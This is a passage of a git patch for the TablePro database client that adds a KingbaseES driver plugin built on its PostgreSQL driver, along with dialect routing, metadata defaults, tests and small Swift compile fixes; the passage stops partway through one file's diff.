From 47eb7e160c3b3a10cf0d5200c5221a71aaad8d25 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Nguye=CC=82=CC=83n=20Nam=20Long?=
<26674308+J2TeamNNL@users.noreply.github.com>
Date: Tue, 27 Oct 2026 09:32:56 +0700
Subject: [PATCH 1/6] feat(kingbasees): add a registry driver
---
.github/plugin-registry.json | 3 +
.../TableProQuery/FilterColumnKind.swift | 5 +-
.../SQLLexicalProfile.swift | 7 +
.../TableProTabular/TabularSorter.swift | 8 +-
.../KingbaseESDialectTests.swift | 13 +
.../FilterSQLGeneratorTests.swift | 9 +
.../SQLLexicalReadingsTests.swift | 15 +-
.../TabularSaveTests.swift | 3 +-
.../ClickHouseServerException.swift | 2 +-
.../SQLExportSessionDeclarationTests.swift | 7 +
.../Plugins/KingbaseESDriverPlugin/Info.plist | 12 +
.../KingbaseESPlugin.swift | 68 ++++++
.../KingbaseESPluginDriver.swift | 37 +++
.../PostgreSQLPluginDriver.swift | 2 +
.../PostgreSQLSchemaQueries.swift | 3 +-
...reSQLColumnDDLSequenceCollationTests.swift | 2 +-
.../RedisDriverPlugin/RedisReply.swift | 2 +-
.../SQLExportSessionDeclaration.swift | 2 +-
.../SQLiteDriverPlugin/SQLitePlugin.swift | 2 +-
.../TableProPluginKit/SqlDialect.swift | 2 +-
.../Core/Compare/CompareSQLLiteral.swift | 3 +-
.../SourceFileDiskChangeMonitor.swift | 7 +-
.../Core/Plugins/ImportTypeMapper.swift | 5 +-
...nMetadataRegistry+KingbaseESDefaults.swift | 33 +++
...ginMetadataRegistry+RegistryDefaults.swift | 2 +-
.../Providers/OracleDashboardProvider.swift | 5 +-
.../CellValues/CellExpressionVocabulary.swift | 3 +-
.../SQL/SQLRowToStatementConverter.swift | 5 +-
.../Models/Connection/DatabaseType.swift | 1 +
.../TablePro/Resources/Localizable.xcstrings | 4 +
.../AIChatViewModel+Persistence.swift | 2 +-
.../Results/TreeOutline/TreeOutlineView.swift | 6 +-
.../Core/Compare/CompareSQLLiteralTests.swift | 2 +-
.../Core/Plugins/ImportTypeMapperTests.swift | 6 +
...luginMetadataRegistryKingbaseESTests.swift | 23 ++
...PluginMetadataRegistryTypeCountTests.swift | 2 +-
.../CellExpressionVocabularyTests.swift | 6 +
.../SQLRowToStatementConverterTests.swift | 14 ++
apple/project.yml | 12 +
.../probes/check-column-type-corpus.sh | 4 +-
apple/scripts/probes/check-kingbasees.sh | 57 +++++
apple/scripts/probes/kingbasees-probe.swift | 225 ++++++++++++++++++
42 files changed, 600 insertions(+), 31 deletions(-)
create mode 100644 apple/Packages/TableProCore/Tests/TableProPluginKitTests/KingbaseESDialectTests.swift
create mode 100644 apple/Plugins/KingbaseESDriverPlugin/Info.plist
create mode 100644 apple/Plugins/KingbaseESDriverPlugin/KingbaseESPlugin.swift
create mode 100644 apple/Plugins/KingbaseESDriverPlugin/KingbaseESPluginDriver.swift
create mode 100644 apple/TablePro/Core/Plugins/PluginMetadataRegistry+KingbaseESDefaults.swift
create mode 100644 apple/TableProTests/Core/Plugins/PluginMetadataRegistryKingbaseESTests.swift
create mode 100755 apple/scripts/probes/check-kingbasees.sh
create mode 100644 apple/scripts/probes/kingbasees-probe.swift
diff --git a/.github/plugin-registry.json b/.github/plugin-registry.json
index a9eb89b33c..f6bf29a547 100644
--- a/.github/plugin-registry.json
+++ b/.github/plugin-registry.json
@@ -43,6 +43,9 @@
"KafkaDriverPlugin": {
"name": "Kafka Driver"
},
+ "KingbaseESDriverPlugin": {
+ "name": "KingbaseES Driver"
+ },
"LibSQLDriverPlugin": {
"name": "libSQL / Turso Driver"
},
diff --git a/apple/Packages/TableProCore/Sources/TableProQuery/FilterColumnKind.swift b/apple/Packages/TableProCore/Sources/TableProQuery/FilterColumnKind.swift
index 03b827341b..a41aea1dac 100644
--- a/apple/Packages/TableProCore/Sources/TableProQuery/FilterColumnKind.swift
+++ b/apple/Packages/TableProCore/Sources/TableProQuery/FilterColumnKind.swift
@@ -72,9 +72,10 @@ nonisolated public enum FilterColumnKind {
// number: `bit = 101` and `boolean = 1` have no operator, and a `real` never equals the numeric 0.1.
// DuckDB runs `bit = 101` and finds no row; `bit = '101'` finds it.
private static func engineKind(_ kind: PluginColumnKind, typeName: String, databaseType: DatabaseType?) -> PluginColumnKind {
- switch databaseType {
- case .postgresql?, .redshift?:
+ if let databaseType, SqlDialect.from(databaseTypeId: databaseType.rawValue) == .postgres {
return kind == .integer && !nonNumericIntegerNames.contains(typeName) ? .integer : .text
+ }
+ switch databaseType {
case .duckdb?:
return typeName == "bit" ? .text : kind
default:
diff --git a/apple/Packages/TableProCore/Sources/TableProSQLGrammar/SQLLexicalProfile.swift b/apple/Packages/TableProCore/Sources/TableProSQLGrammar/SQLLexicalProfile.swift
index 49f7582a25..4bd817771e 100644
--- a/apple/Packages/TableProCore/Sources/TableProSQLGrammar/SQLLexicalProfile.swift
+++ b/apple/Packages/TableProCore/Sources/TableProSQLGrammar/SQLLexicalProfile.swift
@@ -218,6 +218,13 @@ public struct SQLLexicalProfile: Sendable, Hashable {
"AlloyDB": postgreSQLFamily,
"Citus": postgreSQLFamily,
"PGlite": postgreSQLFamily,
+ "KingbaseES": SQLLexicalProfile(
+ grammar: postgreSQL,
+ undetermined: [
+ .backslashEscapesInSingleQuotes, .alternativeQuoting, .plsqlBlocks,
+ .slashLineTerminators, .dollarAndHashInIdentifiers,
+ ]
+ ),
"Redshift": SQLLexicalProfile(
grammar: postgreSQL,
undetermined: [.backslashEscapesInSingleQuotes, .nestedBlockComments, .escapeStringPrefix]
diff --git a/apple/Packages/TableProCore/Sources/TableProTabular/TabularSorter.swift b/apple/Packages/TableProCore/Sources/TableProTabular/TabularSorter.swift
index 5ae5a3308f..1cb592fbba 100644
--- a/apple/Packages/TableProCore/Sources/TableProTabular/TabularSorter.swift
+++ b/apple/Packages/TableProCore/Sources/TableProTabular/TabularSorter.swift
@@ -147,7 +147,7 @@ public enum TabularSorter {
private static func sortPositions(count: Int, buffers: SortKeyBuffers) async throws -> [Int] {
let chunks = TabularChunking.ranges(count: count)
- var runs = try await withThrowingTaskGroup(of: (Int, [Int]).self) { group in
+ var runs: [[Int]] = try await withThrowingTaskGroup(of: (Int, [Int]).self) { group in
for (index, chunk) in chunks.enumerated() {
group.addTask {
try Task.checkCancellation()
@@ -165,8 +165,10 @@ public enum TabularSorter {
}
while runs.count > 1 {
try Task.checkCancellation()
- let pairs = stride(from: 0, to: runs.count, by: 2).map { index in
- (runs[index], index + 1 < runs.count ? runs[index + 1] : [])
+ let pairs: [([Int], [Int])] = stride(from: 0, to: runs.count, by: 2).map { index in
+ let left: [Int] = runs[index]
+ let right: [Int] = index + 1 < runs.count ? runs[index + 1] : []
+ return (left, right)
}
runs = try await withThrowingTaskGroup(of: (Int, [Int]).self) { group in
for (index, pair) in pairs.enumerated() {
diff --git a/apple/Packages/TableProCore/Tests/TableProPluginKitTests/KingbaseESDialectTests.swift b/apple/Packages/TableProCore/Tests/TableProPluginKitTests/KingbaseESDialectTests.swift
new file mode 100644
index 0000000000..cc491ae296
--- /dev/null
+++ b/apple/Packages/TableProCore/Tests/TableProPluginKitTests/KingbaseESDialectTests.swift
@@ -0,0 +1,13 @@
+import TableProPluginKit
+import Testing
+
+struct KingbaseESDialectTests {
+ @Test("KingbaseES keeps PostgreSQL dollar quotes and escape strings")
+ func postgresLexing() {
+ let dialect = SqlDialect.from(databaseTypeId: "KingbaseES")
+ #expect(dialect == .postgres)
+ #expect(dialect.supportsDollarQuotes)
+ #expect(dialect.supportsEscapeStringPrefix)
+ #expect(!dialect.requiresBackslashEscapesInSingleQuotes)
+ }
+}
diff --git a/apple/Packages/TableProCore/Tests/TableProQueryTests/FilterSQLGeneratorTests.swift b/apple/Packages/TableProCore/Tests/TableProQueryTests/FilterSQLGeneratorTests.swift
index 0e64785a6e..73838a4037 100644
--- a/apple/Packages/TableProCore/Tests/TableProQueryTests/FilterSQLGeneratorTests.swift
+++ b/apple/Packages/TableProCore/Tests/TableProQueryTests/FilterSQLGeneratorTests.swift
@@ -455,4 +455,13 @@ struct FilterSQLGeneratorTests {
#expect(FilterColumnKind.keyLiteral("05", column: nil, databaseType: .sqlite) == .text("05"))
#expect(FilterColumnKind.keyLiteral("2.5", column: nil, databaseType: .sqlite) == .numberOrText("2.5"))
}
+ @Test("KingbaseES filters keep the server's boolean, bit and floating-point type resolution")
+ func kingbaseTypedFilters() {
+ let engine = DatabaseType(rawValue: "KingbaseES")
+ for name in ["boolean", "bit", "real", "double precision", "numeric(10,2)"] {
+ let column = ColumnInfo(name: "v", typeName: name)
+ #expect(engineClause(engine, column, "1") == "WHERE \"v\" = '1'")
+ }
+ #expect(engineClause(engine, ColumnInfo(name: "id", typeName: "bigint"), "5") == "WHERE \"id\" = 5")
+ }
}
diff --git a/apple/Packages/TableProCore/Tests/TableProSQLGrammarTests/SQLLexicalReadingsTests.swift b/apple/Packages/TableProCore/Tests/TableProSQLGrammarTests/SQLLexicalReadingsTests.swift
index 59794c57ca..d36b26706f 100644
--- a/apple/Packages/TableProCore/Tests/TableProSQLGrammarTests/SQLLexicalReadingsTests.swift
+++ b/apple/Packages/TableProCore/Tests/TableProSQLGrammarTests/SQLLexicalReadingsTests.swift
@@ -7,7 +7,7 @@ struct SQLLexicalReadingsTests {
@Test("Every SQL engine TablePro ships has a curated grammar")
func curatedTableCoversShippedEngines() {
let shipped = [
- "MySQL", "MariaDB", "TiDB", "Databend", "OceanBase", "PostgreSQL", "Redshift", "CockroachDB", "PGlite",
+ "MySQL", "MariaDB", "TiDB", "Databend", "OceanBase", "PostgreSQL", "Redshift", "CockroachDB", "PGlite", "KingbaseES",
"SQLite", "libSQL", "Turso", "Cloudflare D1", "DuckDB", "Oracle", "Dameng", "SQL Server", "ClickHouse",
"Snowflake", "BigQuery", "Spanner", "Trino", "Presto", "Teradata", "SAP HANA", "Cassandra", "ScyllaDB", "DynamoDB",
"SurrealDB", "Redis", "MongoDB", "etcd", "Elasticsearch", "Typesense", "Weaviate", "Kafka",
@@ -122,4 +122,17 @@ struct SQLLexicalReadingsTests {
])
#expect(profile.readings.first == .ansi)
}
+ @Test("KingbaseES retains both compatibility-mode readings before a session is known")
+ func kingbaseCompatibilityReadings() throws {
+ let profile = try #require(SQLLexicalProfile.curated(forDatabaseTypeId: "KingbaseES"))
+ #expect(profile.grammar.contains(.taggedDollarQuotes))
+ #expect(profile.readings.contains { $0.contains(.alternativeQuoting) && $0.contains(.plsqlBlocks) })
+ let oracle = SQLSessionLexicalFacts(
+ determined: [.alternativeQuoting, .plsqlBlocks], enabled: [.alternativeQuoting, .plsqlBlocks]
+ )
+ let readings = SQLLexicalReadings.resolve(databaseTypeId: "KingbaseES", declared: nil, session: oracle)
+ #expect(readings.execution.contains(.alternativeQuoting))
+ #expect(readings.execution.contains(.plsqlBlocks))
+ #expect(readings.all.contains { !$0.contains(.alternativeQuoting) })
+ }
}
diff --git a/apple/Packages/TableProCore/Tests/TableProTabularTests/TabularSaveTests.swift b/apple/Packages/TableProCore/Tests/TableProTabularTests/TabularSaveTests.swift
index 157849c304..b6a9edaa9a 100644
--- a/apple/Packages/TableProCore/Tests/TableProTabularTests/TabularSaveTests.swift
+++ b/apple/Packages/TableProCore/Tests/TableProTabularTests/TabularSaveTests.swift
@@ -173,7 +173,8 @@ final class TabularSaveTests {
#expect(try save(table, source: source) == export.rows[0] + export.rows[1] + export.rows[3] + export.rows[4])
var reordered = original
reordered.replaceRowOrder(.explicit([4, 2, 3, 1]))
- #expect(try save(reordered, source: source) == export.rows[0] + export.rows[4] + export.rows[2] + export.rows[3] + export.rows[1])
+ let expected: [UInt8] = [0, 4, 2, 3, 1].flatMap { export.rows[$0] }
+ #expect(try save(reordered, source: source) == expected)
}
@Test func testAnEditNearTheEndOfALargeShiftJISFileLeavesEveryOtherByte() async throws {
diff --git a/apple/Plugins/ClickHouseDriverPlugin/ClickHouseServerException.swift b/apple/Plugins/ClickHouseDriverPlugin/ClickHouseServerException.swift
index 713f8f5d87..93bb003f56 100644
--- a/apple/Plugins/ClickHouseDriverPlugin/ClickHouseServerException.swift
+++ b/apple/Plugins/ClickHouseDriverPlugin/ClickHouseServerException.swift
@@ -79,7 +79,7 @@ nonisolated enum ClickHouseServerException {
static func message(inFailureBody body: String) -> String {
let bytes = Array(body.utf8)
let text = framedMessage(in: bytes, tag: nil, header: nil)
- ?? rawExceptionStart(in: bytes).map { text(of: bytes[$0...]) }
+ ?? rawExceptionStart(in: bytes).map { Self.text(of: bytes[$0...]) }
?? body
return text.trimmingCharacters(in: .whitespacesAndNewlines)
}
diff --git a/apple/Plugins/FormatPluginTests/SQLExportSessionDeclarationTests.swift b/apple/Plugins/FormatPluginTests/SQLExportSessionDeclarationTests.swift
index 2bb3b6da92..7f469d581c 100644
--- a/apple/Plugins/FormatPluginTests/SQLExportSessionDeclarationTests.swift
+++ b/apple/Plugins/FormatPluginTests/SQLExportSessionDeclarationTests.swift
@@ -268,4 +268,11 @@ struct SQLExportSessionDeclarationTests {
#expect(parts.count == 1)
#expect(!writer.didSplit)
}
+ @Test("KingbaseES dumps declare PostgreSQL string and encoding semantics")
+ func kingbaseSessionDeclaration() {
+ #expect(SQLExportSessionDeclaration.forDatabaseType("KingbaseES")
+ == SQLExportSessionDeclaration.forDatabaseType("PostgreSQL"))
+ #expect(!SQLExportSessionDeclaration.forDatabaseType("KingbaseES").prologue.isEmpty)
+ }
+
}
diff --git a/apple/Plugins/KingbaseESDriverPlugin/Info.plist b/apple/Plugins/KingbaseESDriverPlugin/Info.plist
new file mode 100644
index 0000000000..2a09d82f10
--- /dev/null
+++ b/apple/Plugins/KingbaseESDriverPlugin/Info.plist
@@ -0,0 +1,12 @@
+
+
+
+
+ TableProPluginKitVersion
+ TABLEPRO_PLUGINKIT_VERSION
+ TableProProvidesDatabaseTypeIds
+
+ KingbaseES
+
+
+
diff --git a/apple/Plugins/KingbaseESDriverPlugin/KingbaseESPlugin.swift b/apple/Plugins/KingbaseESDriverPlugin/KingbaseESPlugin.swift
new file mode 100644
index 0000000000..44edd1344e
--- /dev/null
+++ b/apple/Plugins/KingbaseESDriverPlugin/KingbaseESPlugin.swift
@@ -0,0 +1,68 @@
+import Foundation
+import TableProPluginKit
+
+final class KingbaseESPlugin: NSObject, TableProPlugin, DriverPlugin {
+ static let pluginName = "KingbaseES Driver"
+ static let pluginVersion = "1.0.0"
+ static let pluginDescription = "KingbaseES database support via libpq"
+ static let capabilities: [PluginCapability] = [.databaseDriver]
+
+ static let databaseTypeId = "KingbaseES"
+ static let databaseDisplayName = "KingbaseES"
+ static let iconName = "postgresql-icon"
+ static let defaultPort = 54_321
+ static let isDownloadable = true
+ static let urlSchemes = ["kingbase", "kingbase8"]
+ static let brandColorHex = "#C9141E"
+ static let systemDatabaseNames = PostgreSQLPlugin.systemDatabaseNames
+ static let systemSchemaNames = ["pg_catalog", "sys_catalog", "information_schema", "pg_toast"]
+
+ static let additionalConnectionFields: [ConnectionField] = [
+ ConnectionField(
+ id: "usePgpass",
+ label: String(localized: "Use ~/.pgpass"),
+ defaultValue: "false",
+ fieldType: .toggle,
+ section: .authentication,
+ hidesPassword: true
+ ),
+ ConnectionField(
+ id: "connectionOptions",
+ label: String(localized: "Connection Options"),
+ fieldType: .text,
+ section: .advanced
+ )
+ ]
+
+ static let supportsSchemaSwitching = PostgreSQLPlugin.supportsSchemaSwitching
+ static let postConnectActions = PostgreSQLPlugin.postConnectActions
+ static let explainVariants = PostgreSQLPlugin.explainVariants
+ static let databaseGroupingStrategy = PostgreSQLPlugin.databaseGroupingStrategy
+ static let columnTypesByCategory = PostgreSQLPlugin.columnTypesByCategory
+ static let supportsCascadeDrop = PostgreSQLPlugin.supportsCascadeDrop
+ static let supportsForeignKeyDisable = PostgreSQLPlugin.supportsForeignKeyDisable
+ static let requiresReconnectForDatabaseSwitch = PostgreSQLPlugin.requiresReconnectForDatabaseSwitch
+ static let parameterStyle = PostgreSQLPlugin.parameterStyle
+ static let supportsDropDatabase = PostgreSQLPlugin.supportsDropDatabase
+ static let supportsRenameTable = PostgreSQLPlugin.supportsRenameTable
+ static let supportsRenameDatabase = PostgreSQLPlugin.supportsRenameDatabase
+ static let supportsRenameSchema = PostgreSQLPlugin.supportsRenameSchema
+ static let supportsDropSchema = PostgreSQLPlugin.supportsDropSchema
+ static let supportsCreateSchema = PostgreSQLPlugin.supportsCreateSchema
+ static let supportsSchemaOwner = PostgreSQLPlugin.supportsSchemaOwner
+ static let supportsSchemaPrivileges = PostgreSQLPlugin.supportsSchemaPrivileges
+ static let supportsTriggers = PostgreSQLPlugin.supportsTriggers
+ static let supportsRoutines = PostgreSQLPlugin.supportsRoutines
+ static let supportsDatabaseTriggerBrowse = PostgreSQLPlugin.supportsDatabaseTriggerBrowse
+ static let supportsUserDefinedTypeBrowse = PostgreSQLPlugin.supportsUserDefinedTypeBrowse
+ static let supportsTriggerEditing = PostgreSQLPlugin.supportsTriggerEditing
+ static let structureColumnFields = PostgreSQLPlugin.structureColumnFields
+ static let supportsCheckConstraints = PostgreSQLPlugin.supportsCheckConstraints
+ static let supportsCheckConstraintEditing = PostgreSQLPlugin.supportsCheckConstraintEditing
+ static let supportsGeneratedColumns = PostgreSQLPlugin.supportsGeneratedColumns
+ static let sqlDialect = PostgreSQLPlugin.sqlDialect
+
+ func createDriver(config: DriverConnectionConfig) -> any PluginDatabaseDriver {
+ KingbaseESPluginDriver(config: config)
+ }
+}
diff --git a/apple/Plugins/KingbaseESDriverPlugin/KingbaseESPluginDriver.swift b/apple/Plugins/KingbaseESDriverPlugin/KingbaseESPluginDriver.swift
new file mode 100644
index 0000000000..47d0128508
--- /dev/null
+++ b/apple/Plugins/KingbaseESDriverPlugin/KingbaseESPluginDriver.swift
@@ -0,0 +1,37 @@
+import Foundation
+import os
+import TableProPluginKit
+
+final class KingbaseESPluginDriver: PostgreSQLPluginDriver, @unchecked Sendable {
+ private let oracleMode = OSAllocatedUnfairLock(initialState: false)
+ private static let modeFeatures: SQLLexicalFeatures = [
+ .alternativeQuoting, .plsqlBlocks, .slashLineTerminators, .dollarAndHashInIdentifiers
+ ]
+
+ override var sessionLexicalState: PluginSessionLexicalState? {
+ let inherited = super.sessionLexicalState
+ let enabled = oracleMode.withLock { $0 } ? Self.modeFeatures : []
+ return PluginSessionLexicalState(
+ determined: (inherited?.determined ?? []).union(Self.modeFeatures),
+ enabled: (inherited?.enabled ?? []).union(enabled)
+ )
+ }
+
+ override func connect() async throws {
+ try await super.connect()
+ do {
+ let result = try await execute(query: "SELECT current_setting('database_mode')")
+ let mode = result.rows.first?.first?.asText?.lowercased()
+ guard mode == "pg" || mode == "oracle" else {
+ throw LibPQPluginError(
+ message: String(localized: "This KingbaseES compatibility mode is not supported. Use PostgreSQL or Oracle mode."),
+ sqlState: nil, detail: nil
+ )
+ }
+ oracleMode.withLock { $0 = mode == "oracle" }
+ } catch {
+ await disconnect()
+ throw error
+ }
+ }
+}
diff --git a/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLPluginDriver.swift b/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLPluginDriver.swift
index f92bf287f3..432302ee96 100644
--- a/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLPluginDriver.swift
+++ b/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLPluginDriver.swift
@@ -21,6 +21,8 @@ class PostgreSQLPluginDriver: LibPQBackedDriver, @unchecked Sendable {
let sessionFacts = OSAllocatedUnfairLock(initialState: PostgreSQLSessionFacts.unknown)
private let listingDegradeReported = OSAllocatedUnfairLock(initialState: false)
+ var sessionLexicalState: PluginSessionLexicalState? { core.sessionLexicalState }
+
var serverVersionNumber: Int32 {
let reported = core.serverVersionNumber
return sessionFacts.withLock { $0.resolvedServerVersion(reported: reported) }
diff --git a/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLSchemaQueries.swift b/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLSchemaQueries.swift
index 8509c276a1..027a5b69e7 100644
--- a/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLSchemaQueries.swift
+++ b/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLSchemaQueries.swift
@@ -338,7 +338,8 @@ enum PostgreSQLSchemaQueries {
/// `columnCollation` as the text a column definition appends after its type: ` COLLATE `, or
/// an empty string.
- static let columnCollateClause = "COALESCE(' COLLATE ' || \(columnCollation), '')"
+ // Oracle-compatible servers concatenate NULL as empty, so COALESCE after concatenation keeps a bare COLLATE.
+ static let columnCollateClause = "CASE WHEN (\(columnCollation)) IS NULL THEN '' ELSE ' COLLATE ' || \(columnCollation) END"
/// One array over the sequences this column's default reads in the table's own schema, ordered by
/// oid so the qualified and relative arrays pair element for element.
diff --git a/apple/Plugins/PostgreSQLDriverTests/PostgreSQLColumnDDLSequenceCollationTests.swift b/apple/Plugins/PostgreSQLDriverTests/PostgreSQLColumnDDLSequenceCollationTests.swift
index 7b21c6c397..23e32c8bbc 100644
--- a/apple/Plugins/PostgreSQLDriverTests/PostgreSQLColumnDDLSequenceCollationTests.swift
+++ b/apple/Plugins/PostgreSQLDriverTests/PostgreSQLColumnDDLSequenceCollationTests.swift
@@ -55,7 +55,7 @@ struct PostgreSQLColumnDDLQuerySequenceCollationTests {
func collateClauseWrapsTheSameCollation() {
#expect(
PostgreSQLSchemaQueries.columnCollateClause
- == "COALESCE(' COLLATE ' || \(PostgreSQLSchemaQueries.columnCollation), '')"
+ == "CASE WHEN (\(PostgreSQLSchemaQueries.columnCollation)) IS NULL THEN '' ELSE ' COLLATE ' || \(PostgreSQLSchemaQueries.columnCollation) END"
)
}
}
diff --git a/apple/Plugins/RedisDriverPlugin/RedisReply.swift b/apple/Plugins/RedisDriverPlugin/RedisReply.swift
index a4284b2381..435a8b881d 100644
--- a/apple/Plugins/RedisDriverPlugin/RedisReply.swift
+++ b/apple/Plugins/RedisDriverPlugin/RedisReply.swift
@@ -12,7 +12,7 @@ import TableProPluginKit
// MARK: - Reply Type
-enum RedisReply {
+enum RedisReply: Sendable {
case string(String)
case integer(Int64)
case array([RedisReply])
diff --git a/apple/Plugins/SQLExportPlugin/SQLExportSessionDeclaration.swift b/apple/Plugins/SQLExportPlugin/SQLExportSessionDeclaration.swift
index 32c977f5e8..17229d5ea6 100644
--- a/apple/Plugins/SQLExportPlugin/SQLExportSessionDeclaration.swift
+++ b/apple/Plugins/SQLExportPlugin/SQLExportSessionDeclaration.swift
@@ -13,7 +13,7 @@ internal struct SQLExportSessionDeclaration: Equatable {
let epilogue: String
private static let typesAcceptingSetClientEncoding: Set = [
- "PostgreSQL", "Greenplum", "AlloyDB", "Citus", "CockroachDB", "PGlite"
+ "PostgreSQL", "Greenplum", "AlloyDB", "Citus", "CockroachDB", "PGlite", "KingbaseES"
]
/// `readTimeZone` is the zone the rows were read in, from the export's read scope. Only a MySQL dump declares
diff --git a/apple/Plugins/SQLiteDriverPlugin/SQLitePlugin.swift b/apple/Plugins/SQLiteDriverPlugin/SQLitePlugin.swift
index 3fb5146cd4..547b73e453 100644
--- a/apple/Plugins/SQLiteDriverPlugin/SQLitePlugin.swift
+++ b/apple/Plugins/SQLiteDriverPlugin/SQLitePlugin.swift
@@ -187,12 +187,12 @@ final class SQLitePluginDriver: PluginDatabaseDriver, @unchecked Sendable {
if !attachments.isEmpty, backend is SQLiteAgentBackend {
throw AttachedDatabaseError.remoteSession
}
+ let backend = self.backend
try await withTaskCancellationHandler {
try await backend.open(loading: extensions)
} onCancel: {
backend.abortConnect()
}
- let backend = self.backend
let failures = await AttachedDatabaseAttacher.attach(attachments) { database in
_ = try await backend.executeParameterizedQuery(
"ATTACH DATABASE ? AS ?",
diff --git a/apple/Plugins/TableProPluginKit/SqlDialect.swift b/apple/Plugins/TableProPluginKit/SqlDialect.swift
index 7571dc90b3..bf55ad82ca 100644
--- a/apple/Plugins/TableProPluginKit/SqlDialect.swift
+++ b/apple/Plugins/TableProPluginKit/SqlDialect.swift
@@ -9,7 +9,7 @@ public enum SqlDialect: String, Sendable, CaseIterable {
public static func from(databaseTypeId: String) -> SqlDialect {
switch databaseTypeId {
- case "PostgreSQL", "Redshift", "Greenplum", "AlloyDB", "Citus", "CockroachDB", "PGlite":
+ case "PostgreSQL", "Redshift", "Greenplum", "AlloyDB", "Citus", "CockroachDB", "PGlite", "KingbaseES":
return .postgres
case "MySQL", "MariaDB", "TiDB", "OceanBase":
return .mysql
diff --git a/apple/TablePro/Core/Compare/CompareSQLLiteral.swift b/apple/TablePro/Core/Compare/CompareSQLLiteral.swift
index e34f80616d..d8343113fb 100644
--- a/apple/TablePro/Core/Compare/CompareSQLLiteral.swift
+++ b/apple/TablePro/Core/Compare/CompareSQLLiteral.swift
@@ -98,14 +98,13 @@ internal enum CompareSQLLiteral {
/// Curated per type, the same shape `CompareSyncEngineFamily` uses. A type this does not
/// name falls back to the driver's own spelling rather than guessing at one.
internal static func binaryStyle(for databaseType: DatabaseType) -> BinaryStyle {
+ if SqlDialect.from(databaseTypeId: databaseType.rawValue) == .postgres { return .postgresBytea }
switch databaseType {
case .mysql, .mariadb, .tidb, .databend, .oceanbase, .sqlite, .clickhouse, .libsql, .turso,
.cloudflareD1:
return .bitString
case .duckdb:
return .unhexFunction
- case .postgresql, .cockroachdb, .redshift, .pglite:
- return .postgresBytea
case .mssql:
return .zeroX
case .oracle:
diff --git a/apple/TablePro/Core/Coordinators/SourceFileDiskChangeMonitor.swift b/apple/TablePro/Core/Coordinators/SourceFileDiskChangeMonitor.swift
index 27ddb116cd..58ade425c8 100644
--- a/apple/TablePro/Core/Coordinators/SourceFileDiskChangeMonitor.swift
+++ b/apple/TablePro/Core/Coordinators/SourceFileDiskChangeMonitor.swift
@@ -21,7 +21,12 @@ internal final class SourceFileDiskChangeMonitor {
private var inFlight: Task?
private var needsAnotherPass = false
- init(tabManager: QueryTabManager, readStamps: @escaping StampReader = SourceFileDiskChangeMonitor.readStampsOffMainActor) {
+ init(
+ tabManager: QueryTabManager,
+ readStamps: @escaping StampReader = { urls in
+ await SourceFileDiskChangeMonitor.readStampsOffMainActor(urls)
+ }
+ ) {
self.tabManager = tabManager
self.readStamps = readStamps
}
diff --git a/apple/TablePro/Core/Plugins/ImportTypeMapper.swift b/apple/TablePro/Core/Plugins/ImportTypeMapper.swift
index 02d3916b03..57a086a79f 100644
--- a/apple/TablePro/Core/Plugins/ImportTypeMapper.swift
+++ b/apple/TablePro/Core/Plugins/ImportTypeMapper.swift
@@ -12,14 +12,15 @@ enum ImportTypeMapper {
databaseType: DatabaseType,
serverVersion: String? = nil
) -> String {
- switch databaseType {
- case .postgresql, .redshift, .cockroachdb:
+ if SqlDialect.from(databaseTypeId: databaseType.rawValue) == .postgres {
return postgresType(
type,
jsonColumnType: PostgreSQLServerVersion.jsonColumnType(
for: databaseType, serverVersion: serverVersion
)
)
+ }
+ switch databaseType {
case .mysql, .mariadb, .tidb, .oceanbase:
return mysqlType(type)
case .sqlite:
diff --git a/apple/TablePro/Core/Plugins/PluginMetadataRegistry+KingbaseESDefaults.swift b/apple/TablePro/Core/Plugins/PluginMetadataRegistry+KingbaseESDefaults.swift
new file mode 100644
index 0000000000..45728a0d4f
--- /dev/null
+++ b/apple/TablePro/Core/Plugins/PluginMetadataRegistry+KingbaseESDefaults.swift
@@ -0,0 +1,33 @@
+import Foundation
+import TableProPluginKit
+
+extension PluginMetadataRegistry {
+ func kingbaseESPluginDefaults() -> [(typeId: String, snapshot: PluginMetadataSnapshot)] {
+ guard let postgres = Self.curatedDefaults().first(where: { $0.typeId == "PostgreSQL" })?.snapshot else {
+ return []
+ }
+ return [("KingbaseES", PluginMetadataSnapshot(
+ displayName: "KingbaseES", iconName: "postgresql-icon", defaultPort: 54_321,
+ requiresAuthentication: true, supportsForeignKeys: postgres.supportsForeignKeys,
+ supportsSchemaEditing: postgres.supportsSchemaEditing, isDownloadable: true,
+ primaryUrlScheme: "kingbase", parameterStyle: .dollar,
+ navigationModel: postgres.navigationModel, explainVariants: postgres.explainVariants,
+ pathFieldRole: .database, supportsHealthMonitor: postgres.supportsHealthMonitor,
+ urlSchemes: ["kingbase", "kingbase8"], postConnectActions: postgres.postConnectActions,
+ brandColorHex: "#C9141E", queryLanguageName: "SQL", editorLanguage: .sql,
+ connectionMode: .network, supportsDatabaseSwitching: postgres.supportsDatabaseSwitching,
+ structureEditing: postgres.structureEditing,
+ capabilities: postgres.capabilities, schema: postgres.schema, editor: postgres.editor,
+ connection: PluginMetadataSnapshot.ConnectionConfig(
+ additionalConnectionFields: postgres.connection.additionalConnectionFields.filter {
+ ["usePgpass", "connectionOptions"].contains($0.id)
+ },
+ category: .relational,
+ tagline: postgres.connection.tagline
+ )
+ ).withSystemNames(
+ databases: postgres.schema.systemDatabaseNames,
+ schemas: postgres.schema.systemSchemaNames + ["sys_catalog"]
+ ))]
+ }
+}
diff --git a/apple/TablePro/Core/Plugins/PluginMetadataRegistry+RegistryDefaults.swift b/apple/TablePro/Core/Plugins/PluginMetadataRegistry+RegistryDefaults.swift
index 5c5b5b6f5b..32da9928ee 100644
--- a/apple/TablePro/Core/Plugins/PluginMetadataRegistry+RegistryDefaults.swift
+++ b/apple/TablePro/Core/Plugins/PluginMetadataRegistry+RegistryDefaults.swift
@@ -1035,7 +1035,7 @@ extension PluginMetadataRegistry {
+ cloudPluginDefaults() + elasticsearchPluginDefaults() + surrealDBPluginDefaults()
+ kafkaPluginDefaults() + typesensePluginDefaults() + r2SQLPluginDefaults()
+ weaviatePluginDefaults() + hanaPluginDefaults() + firebasePluginDefaults() + bigtablePluginDefaults()
